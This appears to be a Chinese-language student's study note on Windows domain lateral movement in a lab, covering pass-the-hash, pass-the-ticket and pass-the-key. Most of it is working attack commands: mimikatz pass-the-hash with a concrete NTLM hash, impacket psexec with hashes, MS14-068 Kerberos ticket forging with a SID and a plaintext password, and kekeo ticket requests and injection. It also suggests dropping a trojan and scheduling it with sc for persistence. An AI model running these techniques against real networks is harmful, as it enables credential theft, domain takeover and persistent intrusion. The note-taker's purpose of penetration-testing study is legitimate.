pass the hash (哈希传递攻击,简称pth)利用lm(老版本哈希)或ntlm(新版本)的值进行的渗透测试
pass the ticket (票据传递攻击,简称ptt)利用的票据凭证TGT进行的渗透测试(和加密算法不同的是,PTT采用的票据,使用Kerberos协议)
pass the key (密钥传递攻击,简称ptk)利用ekeys、aes256(一种加密算法)进行的渗透测试(MTLM认证攻击)
从这一课开始进入内网的难点了,可以看看这个文章
Kerberos协议详解-CSDN博客
我现在也是一知半解,相当复杂,很多东西不是说跟着做一遍实验而是要了解为什么要这样玩!
感觉这一课的基本上都是基于这个kerberos协议来玩的
但是弄明白原理之前先做一遍实验也很重要
1、pth
在使用pth中win2003或者老的使用LM这个hash,新的都使用的NTLM
- mimikatz
会在靶机上弹出一个黑窗窗,在这个黑窗窗上玩
mimikatz sekurlsa::pth /user:administrator /domain:niganma /ntlm:42e2656ec24331269f82160ff5962387
输入后也是可以弹出黑窗窗,但是我这个黑窗窗什么鬼账号密码错误。。。不知道怎么回事,我这用的域控的账号和密码。。。
不对这里这个domain要输入自己的域名而不是什么ip,换成域名成功了
用这个方法难道是要远控桌面操作吗?
如果可以执行shell命令有想办法吧木马下载下来然后设置一个sc的定时任务来执行上线
套件的方式实现
使用套件记得先做代理转发出来才可以在本机上执行
这里可以选择域也可以改为./表示主机登录,这段hash就ntlm
- 使用psexec.py:
python psexec.py -hashes :42e2656ec24331269f82160ff5962387 niganma/administrator@172.16.3.134
- 使用smbexec:我这里没用py文件是有个模块没安装还是版本不对用不了直接用了这个打包好的exe,也是成功回显了shell
- 使用wmiexec :
2、ptt
- ms16048漏洞
shell klist 查看缓存的票据
shell klist purge 清除所有缓存的票据
shell whoami/user 查看sid
这里我使用自己的win11不可以,到靶机上才可以生成(上传ms14068就可以)
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u administrator@niganma.hhh -s S-1-5-21-4241349457-2892543866-2387657150-500 -d 172.16.3.3 -p QWEasd123
如果生成了票据就先上传到靶机,然后将这个票据导入内存、
mimikatz kerberos::ptc 票据
成功就会显示injecting ticket ok
再次查看klist,可以看到有新的票据
有了票据就可以和目标通信了。这里用主机名或者ip地址好像都可以
注意:这里如果不成功可以能打了相关的补丁,打了补丁就无法伪造了
- kekeo(高权限,需要NTLM)
kekeo是一个程序,所以也是上传或者挂代理用的。
先把之前的票据清空,再生成
shell kekeo "tgt::ask /user:administrator /domain:niganma.hhh /ntlm:42e2656ec24331269f82160ff5962387" "exit"
shell kekeo "kerberos::ptt TGT_administrator@NIGANMA.HHH_krbtgt~niganma.hhh@NIGANMA.HHH.kirbi" "exit"
票据添加成功了
访问域控,我这里用的全都是管理员的账号所以可以登录
这里用半天都是用的hash和前面的pth hash传递攻击有什么区别呢?这里的票据伪造和hash用的协议端口不一样,也就是说看情况,不同的内网环境下再选择适合的方式使用,比如smb,wmi需要使用smb协议个wmi协议,如果协议被禁止了就不可以使用了。
注意:这个ntlm在这里必须要用域控的密码hash才可以
- mimikatz(高权限,需要ticket)
把历史建立过连接的票据全部导出,然后在导入看有没有有用的,毕竟票据有10小时的限制时间,所以这个方式比较看运气,看最近有没有管理员登录过
3、ptk
用这个是有前提的,系统必须打了KB2871997补丁并且禁用了NTLM 只有禁用了NTLM才会开启这个的使用。
判断hash是否是有用可以用之前讲过的密码喷射